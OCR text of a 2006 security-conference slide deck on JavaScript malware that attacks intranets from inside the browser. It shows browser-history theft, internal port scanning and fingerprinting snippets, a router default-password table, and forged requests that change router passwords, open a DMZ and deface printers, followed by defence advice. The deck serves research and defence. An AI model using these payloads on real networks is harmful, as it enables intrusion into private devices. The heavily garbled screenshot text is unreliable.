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ASSUMPTIONS OF INTRANET S

DOING ANY OF THE FOLLOWING ON THE
INTERNET WOULD BE UNAGCCEPTABLE,
BUT ON INTRANET...

»P)LEAVING HOSTS UNPATCHED
»)USING DEFAULT PASSWORDS

PNOT PUTTING A FIREWALL IN FRONT OF
A HOST

IS OK BECAUSE THE PERIMETER
FIREWALLS BLOCK EXTERNAL ACCESS
TO INTERNAL DEVIGCES.

>
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ASSUMPTIONS OF INTRANET '
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EVERYTHING IS WEB-ENABLEL

ROUTERS, FIREWALLS, PRINTERS, PAYROLL SYSTEMS,
EMPLOYEE DIRECTORIES, BUG TRACKING SYSTEMS,
DEVELOPMENT MACHINES, WEB MAIL, WIKIS, IP
PHONES, WEB CAMS, HOST MANAGEMENT, ETC ETC.

)
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INTRANET USERS HA

TO ACCESS INTRANET WEBSITES, CONTROL A USER
(OR THE BROWSER) WHICH IS ON THE INSIDE.

navgon | oardotTrustess Transiations

e

I

__ JavaScript
Malware

Secing this instead of the website you expected?

contguron sues.

‘e Apache docutenio has bon ncladed with s isbution

Y e

New Web
- Server

72 mozilla.org
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HACKING THE |NTEI'

JAVASCRIPT
MALWARE

GETS BEHIND THE FIREWALL TO ATTACK
THE INTRANET.

OPERATING SYSTEM AND BROWSER
INDEPENDENT

special thanks to...

RSnake =
http://ha.ckers.org/ 2
' . HAT
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THE FOLLOWING EXAMPLES DO NOT uUsE
ANY WELL-KNOWN OR UN-PATCHED WEB
BROWSER VULNERABILITIES. THE CODE
USES CLEVER AND SOPHISTICATED
JAVASCRIPT, CASCADING STYLE-SHEET
(CSS), AND JAVA APPLET PROGRAMMING.
TECHNOLOGY THAT IS COMMON TO ALL
POPULAR WEB BROWSERS. EXAMPLE CODE
IS DEVELOPED FOR FIREFOX 1.5, BUT THE

TEGCHNIQUES SHOULD ALSO APPLY T0O
INTERNET EXPLORER.

>
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CONTRACTING JAVASCRIPT MALWAR

1.WEBSITE OWNER EMBEDDED JAVASCRIPT MALWARE.

2.WEB PAGE DEFACED WITH EMBEDDED JAVASCRIPT
MALWARE.

3. JAVASCRIPT MALWARE INJECTED INTO INTO A
PUBLIC AREA OF A WEBSITE. (PERSISTENT X§585)

4. CLICKED ON A SPECIALLY"CRAFTED LINK CAUSING
THE WEBSITE TO ECHO JAVASCRIPT MALWARE. (NON-
PERSISTENT XS85)

>
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STEALING BROWSER HISTORY

JAVASCRIPT CAN MAKE LINKS AND HAS
ACCESS TO CSS APIS

test.html

& 51 Qr Coogle

Been here, but not here.

SEE THE DIFFERENCE?
>
HAT"

nnnnnnnnn © 2006 WHITEHAT SECURITY, INC. ALL RIGHTS RESERVED. S ECURIT. Y



"0 0 Mozilla Firefox )

Y L .

Hstoy
not visited http://login.yahoo.com/
BYB LE visited http://mail.google.com/
visited http://mail.yahoo.com/
TH RD Ll E H TH E visited http://my.yahoo.com/
visited http://slashdot.org/
M D ST PD PL' LAR not visited http://www.amazon.com/
not visited http://www.aol.com/
WEB S ITES not visited http://www.bankofamerica.com/
not visited http://www.bankone.com/
visited http://www.blackhat.com/
not visited http://www.blogger.com/
visited http://www.bofa.com/
not visited http://www.capitalone.com/
not visited http://www.chase.com/
not visited http://www.citibank.com/
not visited http://www.cnn.com/
not visited http://www.comerica.com/
not visited http://www.e-gold.com/

>
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NATED IP ADDRESS

IP ADDRESS JAVA APPLET
THIS APPLET DEMONSTRATES THAT ANY SERVER YOU

VISIT CAN FIND OUT YOUR REAL IP ADDRESS IF YOU
ENABLE JAVA, EVEN IF YOU'RE BEHIND A FIREWALL OR

USE A PROXY.

LARS KINDERMANN
HTTP:/REGLOS.DE/MYADDRESS/

y What is my IP Address? =
m; ¢ 7 1@ http://reglos.de/myaddress/ "rﬁ' Coogle

Your local IP Address is 192.168.201.205

Docymentation and Download of this Jara applet @2002 Lar: Kindermann

Send internal IP address where JavaScript can
access it

<APPLET CODE="MyAddress.class">
<PARAM NAME="URL" VALUE="demo.htmI?IP=">
</APPLET>

IF WE CAN GET THE INTERNAL SUBNET GREAT, IF NOT,
WE CAN STILL GUESS FOR PORT SCANNING...

HAT"

CorPYRIGHT © 2006 WHITEHAT SECURITY, INC. ALL RIGHTS RESERVED. S EC URITY



JAVASCRIPT PORT SCANNID

WE CAN SEND HTTP REQUESTS TO ANYWHERE, BUT WE
CAN' T ACCESS THE RESPONSE (SAME-ORIGIN POLICY).
SO HOwW DO WE KNOW IF A CONNECTION IS MADE?

<SCRIPT SRC="http://192.168.1.100/"></SCRIPT>

If a web server is listening on 192.168.1.100, HTML will be returned causing the JS
interpreter to error.

“

Internet Market

A(Q- Google

[ T Ye—

Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut lacreet dolore magna aliguam erat volutpat. Ut wisi
enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex

Fresh Advice:

Lorem Ipsum dolor sit amet,
consectetuer adipiscing elit,
sed diam nonummy nibh
euismed tincidunt ut lacreet
dolore magna aliquam erat
volutpat. Ut wisi enim ad
minim veniam, quis nostrud
exerci tation ullamcorper
suscipit lobortis nis| ut aliquip
ex ea commodo consequat.
Duis autem vel eum iriure
dolor in hendrerit in vulputate
velit esse molestie
consequat, vel ilum dolore eu
feugiat nulla facilisis at vero
eros et accumsan et iusto
‘odio dignissim qui blandit
praesent luptatum 2zril delenit
augue duis dolore te feugait
nulla facilisi

What's new?

FRESH NEWS FROM THE MARKET

Lorem ipsum dolor sit amet, consectetuer adipiscing elt, sed diam

nenummy nibh euismod tincidunt ut lacreet dolore magna aliquam

arat volutpat. Ut wisi enim ad minim veniam, quis nestrud exerci

tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo

consequat. Duis autem vel eum iriure dolor in hendrerit in

vulputate velit esse molestie consequat, vel illum dolore eu feugiat
nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent
luptatum zzril delenit augue duis dolore te feugait nulla facilisi

Forgotten things from the

DON'T MAKE THE SAME MISTAKE TWICE

Lorem ipsum dolor sit amet, dipiscing elit, sed diam

nenummy nibh euismod tincidunt ut lacreet dolore magna aliquam

arat volutpat. Ut wisi enim ad minim veniam, guis nestrud exerci

tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo

consequat. Duis autem vel eum iriure dolor in hendrerit in

vulputate velit esse molestie consequat, vel llum dolore eu feugiat
nulla facilisis at vero eres et accumsan et iusto odio dignissim qui blandit praesent
luptatum zzril delenit augue duis dolore te feugait nulla facilisi

What's your Market? - Posted on 6/3/2006

Getting to know your competitors - Posted on 2/1/2005

Show that you're therel - Posted on 6/7/2005

Fresh Articles:

Lorem ipsum dolor sit amet,
consectetuer adipiscing elit,
sed diam nonummy nibh
euismed tincidunt ut lacreet
dolore magna aliquam erat
volutpat. Ut wisi enim ad
minim veniam, quis nostrud
axerci tation ullamcorper
suscipit lobortis nisl ut aliquip
ex ea commodo conseguat.
Duis autem vel eum iriure
dolor in hendrerit in vulputate
velit esse molestie
consequat, vel ilum dolore eu
feugiat nulla facilisis at vero
eros et accumsan et iusto
odio dignissim gqui blandit
praesent luptatum zzril delenit
augue duis dolore te feugait
nulla facilisi

Links:

Solucila
sNews CMS

Concept Nova
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JavaScript Console

== @

All Errors

Warnings

Messages

Clear

Evaluate

Error: syntax error
Source File: http://localhostf
<IDOCTYPE html PUBLIC "/ ICHDTD XHTML 1.0 Transi...

Line:1

E C U

CAPTURE THE ERROR!

>
RAYTM



14

& 5> £ 0 NfNe v

r() OO JavaScript Console =)
All Errors  Warnings Messages @ Clear
COnnGCted h ! .p:// - - é/ | | Evaluate
PPEg Error: XML tag name mismatch |
connmed l-p'”‘ “ '-13/ Source File: http:j/ = o = 5/ Line:8
</head
connected http:// 0 = 15/ e
connected hitp:// 5 .25/ Error: syntax error
[i Source File: http:f/ =~ o 13/ Line:1
connected http:// = = = .26/ <IDOCTYPE html PUBLIC "-//W3C/DTD XHTML 1.0 Transitional /EN"
. Error: syntax error
connmed mﬂ—g'/—l‘ “ & @ Source File: http:fy = = 15/ Line:3
. <!DOCTYPE html
connected http:// = = = 41/
Error: syntax error
connected tto:// .52/ [i Source File: http:// W W .25/ Line:1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
connmed —Lhtt J, ‘ ‘ . '_1 19/ Error: XML tag name mismatch
So File: : - - Line:8
connected hitp:// % W o .200/ o il = e <
) </head |4
\ - ) |
connected http:// = = 254/ v »

>
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BUND URL FINGERPRI!

THERE IS A WEB SERVER LISTENING, BUT CAN T SEE
THE RESPONSE, WHAT IS IT?

Many web platforms have URL's to images that are unique.

Apache Web Server
/icons/apache_pb.gif

HP Printer
/np/device/hp_invent logo.gif

PHP Image Easter eggs
[?=PHPE9568F36-D428-11d2-A769-00AA001ACF42

Use OnError!

Cycle through unique URL's using Image DOM objects
<img src="http://192.168.1.100/unique_image_url” onerror="fingerprint()” />

IF THE ONERROR EVENT DOES NOT EXECUTE, THEN
IT'S THE ASSOCIATED PLATFORM.

Technically, CSS and JavaScript pages can be used for fingerprinting as well. H// i’?r o
COPYRIGHT © 2006 WHITEHAT SECURITY, INC. ALL RIGHTS RESERVED.
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OO0 Browser Zombies 16
%‘ @ @hnp:,f,I'hacker;cgi-bim‘znmbie.pl?actinn=manitor
@ Search Results |@ Erowser Zombies :"’|
Browser Zombies _
: SESNS Browser Zombies
Session |External IP Internal IP - — _ _ _
@ ‘@ Qhttr.u:Hhacker;cgl—hm,fznmhle.pl?ar:tlr;m=mnnlmr

8898 209.11.127.13 192.168.201.204 _ _
(] Search Results | @ Browser Zombies |
ntip:// wWww.amazon.com/
http://www.cnn.com/

Command .
http://mail.yahoo.com/

Re-direct | Send |

http://www.myspace.com/

Mozilla/5.0 (Macintosh; U; PPC Mac Q| http://www.usbank.com/
rv:1.8.0.4) Gecko/20060508 Firefox/1.

Screen: 1280x854 - Pixel: 32 - Color: 32

User-Agent

http.//www.bofa.com/

Internal Web Servers

Keystrokes
: - http://192.168.201.13/
Time Tue Jun 27 09:14:29 2006
Hi http://192.168.201.5/
istory
http://www.blackhat.com/ http://192.168.201.15/
http://www.wellsfargo.com/ http://192.168.201.25/
http://mail.google.com/ http://192.168.201.26/
http://www.myspace.com/ http://192.168.201.41/
http://slashdot.org/ http://192.168.201.36/
___ | http://www.yahoo.com/ http://192.168.201.52/
Sy IE Done
~ http://192.168.201.43/
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DSL WIRELESS/RO

LOGIN, IF NOT ALREADY AUTHENTICATED

E‘(_ﬁfﬁ = NETGEAR Router g DLink
< :_J | ¢ || + | @ hup://192.168.1.1/start.htm ~(Q- Google o514 admin (blank)
. , ' DI-524 admin (blank)
DI-B614+ admin (blank)
NETGEAR DI-624 admin (blank)
L router manager Di-g24+ admin (blank)
54 Mbps Wireless Router Ol-714 admin (blank)
DI-724P+ admin (blank)
DI-784 admin (blank)
Setup Wizard | Basic Settings DOWL-2100AP admin (blank)
DWL-GTO0AP admin (blank)
Basic Settings Does Your Internet Connection Require A Login?
Wireless Settings E ves Dell
= No TrueMobile 2300  admin admin
Logs
Block Sites Gateway
Block Services Account Name (If Required) 'WGRE14v5 | WGR-200 admin admin
Schedule Domain Name (If Required) WGR-250 admin admin
E-mail
Internet IP Address Linksys
Router Status O Get Dynamically From ISP BEFW11S4 (blank) admin
Attached Devices * Use Static IP Address WAP11 (blank) admin
Backup Settings IP Address 66 |.|159 |.[231 WAP54G (blank) admin
Set Password IP Subnet Mask 255 |.[255 |,|255 WRKE4G (blank) admin
Router Lpgrade Gateway IP Address 66 |.|155 |,|231 WRT54G (blank) admin
WRT54GS (blank) admin
UL LD I . Domain Name Server (DNS) Address WRTS5AG (blank) admin
o Port Forwarding /By — WRV54G admin admin

Microsoft

FACTORY DEFAULTS ARE HANDY! “isw (blank) admi
http://admin:password@192.168.1.1/ >
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CHANGE THE PAS

OO0

NETCGEAR Router = a

[« e ][+] @nup//192.168.11/starthtm
NETGEAR

JA- ol

OOOYD Live HTTP headers ()

[—Haderr] Genera'tur" Cunfig" Abnut]

Setup Wizard

Basic Settings
Wireless Settings

Logs

Block Sites
Block Services
Schedule

E-mail

Router Status
Attached Devices
Backup Settings
Set Password
Router Upgrade

Wireless Settings
Port Forwarding /

l router manager
54 Mbps Wireless Re HTTP Headers
POST (passyord.cgi HTTP/L.1

Host: 19 1.1
Set Password User-Agj ozilla/5.0 (Macintosh; U; PPC Mac OS5 X Mach-0; en-US; rv:1.8.0.4) Gecko /20060508 Firefox/1.5.0.4
Accept: Jumlapplication/xml.application/xhtml+xml text/html;q=0.9 text/plain;g=0.8,image/png,*/*;0=0.5

Old Password

= )

AccepiBanguage: en-us,en;q=0.5

MNew Password AcCced

Repeat New Password ACC

ncoding: gzip,deflate
harset: IS0O-8859-1,utf-8,0=0.7,*,0=0.7

Alive: 300

ection: keep-alive

arer: http:/f192.168.1.1/PWD_password.htm
thorization: Basic YWRtaW46cGFzc3dvemQ=
ontent-Type: application/ x-www-form-urlencoded

e

[ Apply | [ Cancel )
C

Content-Length: 87 -
sysOldPasswd=password&sysNewPasswd=newpass&sysConfirmPasswd=newpass&cfalert_Apply=Apply %
— e

Save All... ) ( Replay... ) gﬂapture

C Clear ) ( Close )
A

POST to GET

/password.cqi?
sysOldPasswd=password&sysNewPasswd=newpass&sysConfirmP
asswd=newpass&cfAlert Apply=Apply
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DMZ HACKING

o000 NETGEAR Router = E

E <. > | c,| +| 3 hitp://192.168.1.1/start.htm

SEANA ive HTTP headers =S

FHeasd-ers{ Generator U Config ' About

NETGEAR

l router manc
54 Mbps Wirel

ogs
Block Sites

Block Services

WAN Setup

HTTP Headers

POST [security.cgi HTTP/ 1.1 -
Host, ¢.168.1.1

sé t: Mozilla/5.0 (Macintosh; U; PPC Mac 05 X Mach-0; en-U5; rv:1.8.0.4) Gecko /20060508 Firefox/1.5.0.4
Accg

text/xml.application/xml.application/xhtml+xml text/html;g=0.9,text/plain;g=0.8,image/png,*/*;q=0.5

Schedule ™ Connect Automatically, as Requir Ac -Language: En"USrEhiﬂl=ﬂ~5 m
E-mail ~ Ac -Encoding: gzip.deflate
— Disable SPIFirewall AQMBpt-Charset: 150-8853-1,utf-8:9=0.7,%q=0.7

Router Status g Default DMZ Server 192 -A“"lrE 3':”:'
Attached Devices hnection: keep-alive
Backup Settings | Respond to Ping on Internet Port erer: http://192.168.1.1 /WAN_wan.htm
Set Password . thorization: Basic YWRtawd6cGFzc3dvemQ=
Router Upgrade MTU Size (in bytes) ontent-Type: application/ x-www-form-urlencoded

—— ontent-Length: 77 b
Wirclees Sattings =S nr; E:—d Egzd ble=d ble&dmzip4=10& =1500&apply=Apply& =1500 I
Port Forwarding / od=do mz_enable=dmz_enable&dmzipd= Wan_mtu= apply=Apply&wan_way= +
Port Triggering =3 I
WAN Setup
LAN IP Setup Save All... ) ( Replay... E Capture ( Clear ) [ Close
Dynamic DNS g

= EE—
/security.cqi?

POST to GET dod=dod&dmz enable=dmz enable&dmzip1=192&dmzip2=168&d
mzip3=1&dmzip4=9&wan mtu=1500&apply=Apply&wan way=1500
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NETWORK PRINTER HA

hp LaserJet 1320 series

B Oy O Live HTTP headers

[ﬁﬂ ’-Henden-l Cenerator U Config l About

invent

[ Information ||  Settings HTTP Headers
POST fhp/device/set_config_devicelnfo.html HTTP/ 1.1

Device Information

hp Laser]et 1320 series / 19

Paper Handling Device Inf =~ Host 124R8-201.15 | -_-| | |+ | @ hup://192.168.201.15/
Printing User-4 nzilla/ 5.0 (Macintash; U; PPC Mac 05 X Mach '——
PCL Device Descriptit Accept: Fumlapplication/xmlapplicationxhtml+xml,t # OWNED! / 192.168.201.15
PostScript Accept guage: en-us,en;q=0.5 F .
Print Quality Asset Number: Accept oding: gzip,deflate invent hp LaSBrJBt 1 320 series
:"“::'“:: Company Name: Accept@@harset: I50-8859-1,utf-8,0=0.7,*,q=0.7
ystem Setup .. , : :
o o _ Keep-/le: 300 | Information || Settings 1[ Networking
oot Porson; Conncllion: keep-alive ' '
Service onnemlion: p
Referghttp:/f192.168.201L.15/hp/device/set_config_dev
_ N Device Status
Contg®E-Type: application/ x -www-form-urlencoded
Other Links . -
Product Registration Cong Length: 95 &
IE’)r‘d:jerSuspgglie'zs [} eDescription=hp+Laserjet+ 1320+ series L&AssetNumber=&CompanyName=&CaontactPerson=&Apply=Apply I+
reduct Support L L
T4k
’ ™ Eﬂapture ( Clear ) ( Close )

POST to GET,

/hp/device/set config devicelnfo.ntml?DeviceDescription=0WNED!
&AssetNumber=&CompanyName=&ContactPerson=&Apply=Apply

CorPYRIGHT © 2006 WHITEHAT SECURITY, INC. ALL RIGHTS RESERVED.
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NETWORK PRINTER HACKIM

Auto-Fire Printer Test Pages

= hp LaserJet 1320 series / 192.168.201.15 —— '\
[ +] @ nup://192.168.201.15 OO0 Live HTTP headers =

(

hp LaserJet 1320 series / 192.168.201.15 ; . E,Eneratu,r En,"fi Ahnut
-l hp LaserJet 1320 series "He'*"" ' g '

[ Information || Settings || Networking |

HTTP Headers

Device Status

e Print Information Pages POST /hp/device/info_specialPages.html HTTP/ 1.1
Supplies Status

Event Log Print Configuration Hos 2. 168.201.15%

Print Info Pages

ert: Mozilla/5.0 (Macintosh; U; PPC Mac OS5 X Mach-0; en-US; rv:1.8.0.4) Gecko /20060508 Firefox/1.5.0.4

Print Demo
. . Acglt: text/wmlapplication/xmlapplication /xhtml+xml text/html;q=0.9 text/plain;q=0.8,image/png,*/*;0=0.5
Other Links Print PCL Font List
Product Registration Print PS Font List A it-Language: en-us,en;q=0.5
i rin ont Lis
Prodict Supps Agent-Encoding: gzip,deflate

Product Support ) )
Print Supplies Page 2pt-Charset: 1S0-8859-1,utf-8,0=0.7,%q=0.7

p-Alive: 300

nrection: keep-alive

ferer: http://192.168.201.15/hp/devicefinfo_specialPages.html

ontent-Type: application f x-www-form-urlencoded

_ontent-Length: 10 m|
Cemo=Print

ECap-tur'ﬁ C Clear ) C Close )

A
/np/device/info specialPages.html?Demo=Print ¢}7

POST to GET
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MORE DIRTY TRICKS

» BLACK HAT SEARCH ENGINE OPTIMIZATION (SEQ)

» CLICK-FRAUD

» DISTRIBUTED DENIAL OF SERVICE

» FORCE ACCESS OF ILLEGAL CONTENT

» HACK OTHER WEBSITES (IDS SIRENS)

» DISTRIBUTED EMAIL SPAM (OUTLOOK WEB ACCESS)
» DISTRIBUTED BLOG SPAM

» VOTE TAMPERING

» DE-ANONYMIZE PEOPLE

»ETC.

ONCE THE BROWSER CLOSES THERE IS LITTLE TRACGCE
OF THE EXPLOIT CODE.

HAT"
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ANYBODY CAN BE A
VICTIM ON ANY
WEBSITE

TRUSTED WEBSITES ARE HOSTING MALWARE.

CROSS-SITE SCRIPTING (XS8S5S) AND CROSS-SITE
REQUEST FORGERY VULNERABILITIES AMPLIFY THE

PROBLEM.
>
HAT"
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XSS EVERYWHERE

ATTACKS THE USER OF A WEBSITE, NOT THE WEBSITE
ITSELF. THE MOST COMMON VULNERABILITY.

SECURITYFOCUS CATALOGED OVER
1,400 ISSUES.

WHITEHAT SECURITY HAS IDENTIFIED
OVER 1,500 IN cusTOM WEB
APPLICATIONS. 8 IN 10 WEBSITES
HAVE X885.

TOPS THE WEB HACKING INCIDENT
DATABASE (WHID)

HTTP:/WWW.WEBAPPSEC.ORG/PROJECTS/WHID/

HAT"
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EXPLOITED ON POP

(Y M ) Security Fix - Brian Krebs on Computer and Internet Security - (washingtonpost.com)

< -Jle]

washingtonpost.com > Technology

Teen uses worm to boost ratings on MySpace.com —

(8 hetp: / fwww.computerworld.com/securitytopics /security/holes/story/0,10801,105484,00.htm 5] ~ Q- Coogle

)

| [® Subscribe to The Post

Advertiseme

-gﬁﬁgﬂﬁmﬂf!ﬁuﬁﬁ" m“?mimkln =IDG EORORCE Netcraft: PayPal Security Flaw allows Identity Theft — mr— R |
recavery plans. Security E @ [N http:/ /news.netcraft.com /archives/2006/06/ 16/ paypal_security_flaw_ &S ~ Q- Google I'E |: I_I F: I T l'l'l Ll 'F'_"I ::'::' i 'l&"" 'HEB.!SI
JUMPTO _More Resources ¢ SEARCH {co]) n . ) n Krebs on Computer Security
of our clients said site Search
Home A find out why that INetU's service )
f n ¥d
S Teen uses worm to boost ratings on MySpace.com 0 )y bttt out This Blog | Archives | ETTARSSFoed (Ahats RSS?)
Newsfeods/XML It did little damage but could point to broader vulnerabilities, says a security expert reT—— VeriSian SSL Certificates enable secure sockets layer encryption via httos IRSS]
- K:‘”’]‘“’?’ Centers Eric Lai Today's Top Stories » or Other Viruses, Worms and Security Holes Stories » for secure e-commerce. count Hijackings Force LiveJournal Changes
+ Business
+ Careers October 17, 2005 (Cc orld) — Using a self-pr warm that exploits a seripting vulnerability “Search 4p u \ I i i il i
= gmwp'“";‘ common to ;nos(dynam\:st sites, a Los Angeles teenager made himself the most popular member of W \==arch reunur | e '\_ eJou rns], an o-nlmc commumty ﬂlat boasts n'caﬂy 2 Inllllo]l active
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seems to be suffering

an attempt to install malicious code on PCs of unknowing
visitors, the electronics retailer said Thursday.

Internet Exploration

+ Whats that site running?
» SearchDNS

Cybercrooks were able to break in and modify a home theater message
board on Circuit City's Web site, said Bill Cimino, a spokesman for Circuit
City of Richmond, Va. Over an approximately twe-week peried, visitors to
the board were subsequently sent to a site in Russia that attempted to
install a "backdoor" on their PCs that gives the attackers remote access,

A JavaScript worm that takes advantage of an unpatched vulnerability in Yahoo!'s
webmail service has been discovered on the net.

When the victim visits the page, they are pres
News Services - limincbndl nabe b fam Mawinal et

Reg Newsletters
Week's Headlines

The JS-Yamanner worm spreads when a Windows user accesses Yahoo! Mail to

; open an email sent by the worm. The attack works because of a vulnerability in |

Reg Moile . 0 ork . o |

Reg Archive Yahoo! Mail that enables scripts embedded within HTML emails to be run within a he said.

DeskTop News Alerts user’s browser instead of being blocked. POP3 Email Circuit City was made aware of the attack on

ition = Accounts Thursday by the SANS Internet Storm

LS Ediion Once executed, the worm forwards | oG box, sous Center, Cimino said. The company took down DEAL OF THE DAY
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o : - itselfto an infected users' contacts | atachments Po3, SuTe. the message board, operated by a third party, Visioneer Strobe scanner for $196

Jassi] Search the latest IT jobs - Jobsite on Yahoo! Mail. It also harvests e runbox vom and is in tthmcessfcfhnotlfy_mgrthe 1,nrr‘m Rl ews .com wants you o ; Herg_'s a good deal on this scanner, although it involves
: these address and sends themto a S0 registered users of the online forum, he  ERTPERRIEY LR FEVIT) mailing in a rebate offer. Read more...
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remote internet server. Only
contacts with an email address of
either @yahoo.com or

Looking for Postfix?
Zimbra email includes Postfix

opinions as Microsoft's 0S
nears release. Interested?
CLICK HERE b

"At this peint we think approximately 200
users visited the site while the exploit was
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Google buys SGI .. .'s - i i AJAX UL, calendar, and active,” Cimino said. Those people are Put this story in perspective with this unique visual tool (full screen). Learn more
property The best people for the job b@)'l‘ahqogruups.com are hit by this contacts registered users of the message board. Circuit City has no data on people
Brit workers love to snoop ehaviour. b cam 1Y whn visited the site withnut heinn reaistered_he said ———————— )
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EXPLOITATION LEADS TO WEBSITE DEFACEMENT, SESSION HI-
JACKING, USER IMPERSONATION, WORMS, PHISHING SCAMS,
BROWSER TROJANS, AND MORE...
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CSRF, EVEN MORE WIDESPR

A CROSS-SITE REQUEST FORGERY (CSRF OR
XSRF), ALTHOUGH SIMILAR-SOUNDING IN NAME TO
CROSS-SITE SCRIPTING (XS55), IS A VERY DIFFERENT
AND ALMOST OPPOSITE FORM OF ATTACK. WHEREAS
CROSS-SITE SCRIPTING EXPLOITS THE TRUST A
USER HAS IN A WEBSITE, A CROSS-SITE REQUEST
FORGERY EXPLOITS THE TRUST A WEBSITE HAS IN A
USER BY FORGING THE ENAGCTOR AND MAKING A

REQUEST APPEAR TO COME FROM A TRUSTED USER.
WIKIPEDIA

HTTP:!/EN.WIKIPEDIA.ORG/WIKI/CROSS-SITE _REQUEST_FORGERY

NO STATISTICS, BUT THE GENERAL CONSENSUS IS
JUST ABOUT EVERY PIECE OF SENSITIVE WEBSITE
FUNGCTIONALITY IS VULNERABLE.

Y
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CSRF HACK D(AMES %

A STORY THAT DIGGS ITSELF

USERS LOGGED-IN TO
DIGG.COM VISITING HTTP:/
4DIGGERS.BLOGSPOT.COM/
WILL AUTOMATICALLY DIGG
THE STORY
http://ha.ckers.ora/blog/20060615/a-story-that-diggs-itself/

COMPROMISING YOUR GMAIL
CONTACT LIST

CONTACT LIST AVAILABLE IN
JAVASCRIPT SPACE. <SCRIPT
SRC=HTTP:/MAIL.GOOGLE.COM/
MAIL/? URL_SCRUBBED~>

http://www.webappsec.org/lists/websecurity/archive/2006-01/msg00087.html

CorPYRIGHT © 2006 WHITEHAT SECURITY, INC. ALL RIGHTS RESERVED.

| < 9*Bhttp://4diggers.b|ogspot.com/ O 2(AQr Google o

a- Blo-géer — E " T I
Diggel"s blog

Tuesday, June 06, 2006

Digger's blog

How to defeat digg.com

... an introduction to session riding

Are you logged in on digg and not using Opera? Well if you are, you will digg
this story either if you like it or not. Anyway, read on and maybe you'll find out
some interesting things about session riding.

Session riding is a method for tricking users of websites using cookies for
authentication. You probably know that when you login to a website using form
authentication, the server will set one or more internal state flags that will tell the
server side scripts that you are an authenticated user and let you do things that
without authentication you cannot do. For example for PHP those internal state
variables are called session variables.

= ~ [WEB SECURITY] Advanced Web Attack Techniques using GMail
| B ~ €A http:/ /www.webappsec.org/lists/websecurity/archive/2006-01/msg ~ @' Google

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[WEB SECURITY] Advanced Web Attack
Techniques using GMail

e From: Jeremiah Grossman <jeremiah@
o Subject:. [WEB SECURITY] Advanced Web Attack Techniques using GMail
e Date: Fri, 27 Jan 2006 14:18:20 -0800

A few months ago, I discovered a vulnerability in GMail where it became trivial to
compromise someone's email contact list. I demonstrated the issue to a friend at Google by
emailing his GMail account with simple link. Upon clicking the link and viewing the page,
no XSS reguired, your contacts were displayed on screen (see screenshot). From there the
email addresses could be easily stolen. Imagine if a spammer stumbled across this!

The issue was fixed within a few days, but the reason this particular vulnerability was
interesting is the exploit technigues are a bit different than normally discusse d. Also,
I've been seeing the scenario described below increasingly often in websites. Those
interested in browser security and AJAX development should take note.

Attack Details:
Assumes some knowledge of Cross-Site Reguest Forgeries, but with a slight variation.

1) Email a GMail account a link and click.

example: http://foo/index.html

2) HTML of http://foo/index.html
_Mha ainal 13 £

£_DMMT_ lanl

S EC U R I T'Y



CorPYRIGHT © 2006 WHITEHAT SECURITY, INC. ALL RIGHTS RESERVED.

MYSPACE (SAMY WORM) = FIRST XSS wWwORM
24 HOURS, 1 MILLION USERS AFFECTED=

PLOGGED-IN USER VIEWS SAMYS PROFILE PAGE,
EMBEDDED JAVASCRIPT MALWARE.

[ ciassmates.com-
1 graduated in: s
state: [wo 5] vear: [305] Springfield
reh | Inyi nk | Mai

»MALWARE ADS SAMY AS THEIR FRIEND, UPDATES

THEIR PROFILE WITH SAMY IS MY HERDO , AND COPIES
THE MALWARE TO THEIR PROFILE.

» PEOPLE VISITING INFECTED PROFILES ARE IN TURN € > 808 ww g
J “¥? Yahoo! Mail Beta, sec_test2 ( 28 ...
INFECTED CAUSING EXPONENTIAL GROWTH. YAEHOO! MAIL v sec sy o eos [ cvcnvenes.[seo)
&, Check Mail Compose || & Home | Options ~ | Help ~
http://namb.la/popular/tech.html R e
Welcome, carl!
YONAGE: Save up to 4 you have 28 unread messages
“#450% an phone service Inbox(28)
3 Inbox (28) .
= Dot %) Seewhat resl people are sking
YAHDOO MAIL (JS-YAMANNER) = O EEmmmER
G Trash Empty -
£ Contacts
[ Calendar
Ej N‘:t:z:d&ms Add
»USER RECEIVES A EMAIL W/ AN ATTACHMENT o
EMBEDDED WITH JAVASCRIPT MALWARE. § st w
(o] ettt
»USER OPENS THE ATTACHMENT AND MALWARE R -
[« [ Done ne
HARVESTING @yAHOO.coM AND (@YAHOOGROUPS.COM
ADDRESSES FROM CONTACT LIST. CROSS-SITE SCRIPTING WORMS AND VIRUSES

“The Impending Threat and the Best Defense”

http:/mww.whitehatsec.com/downloads/
http://ha.ckers.org/blog/20060612/yahoo-xss-worm/ WHXSSThreats.pdf 27

»USER IS RE-DIRECTED TO ANOTHER WEB PAGE.



HOwW TO PROTECT
YOURSELF

OR AT LEAST TRY
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USEFUL FOR OTHER THREATS, BUT NOT AGAINST
JAVASCRIPT MALWARE.

el A SN AN AN e e

— ST AT AWA Y FROM O ESTIaINABTE-WEB STTES—

>
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BETTER END-USER SOLUTION

»)BE SUSPICIOUS OF LONG LINKS, ESPECIALLY THOSE
THAT LOOK LIKE THEY CONTAIN HTML caobEeE. WHEN
IN DOUBT, TYPE THE DOMAIN NAME MANUALLY INTO
YOUR BROWSER LOCATION BAR.

PNO WEB BROWSER HAS A CLEAR SECURITY
ADVANTAGE, BUT WE PREFER FIREFOX. FOR
ADDITIONAL SECURITY, INSTALL BROWSER ADD-ONS
SUCH AS NOSCRIPT (FIREFOX EXTENSION) OR THE
NETCRAFT TOOLBAR.

PWHEN IN DOUBT, DISABLE JAVASCRIPT, JAVA, AND
ACTIVE X PRIOR TO YOUR VISIT.

>
HAT"
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WE NEED MORE BROWSER SEC

»MDOZILLA (FIREFOX), MICROSOFT AND OPERA
DEVELOPMENT TEAMS MUST BEGIN FORMALIZING
AND IMPLEMENTING CONTENT-RESTRICTIONS.

SITES WOULD DEFINE AND SERVE CONTENT RESTRICTIONS FOR
PAGES WHICH CONTAINED UNTRUSTED CONTENT WHICH THEY HAD
FILTERED. IF THE FILTERING FAILED, THE CONTENT RESTRICTIONS
MAY STILL PREVENT MALICIOUS SCRIPT FROM EXECUTING OR DOING
DAMAGE.

GERVASE MARKHAM
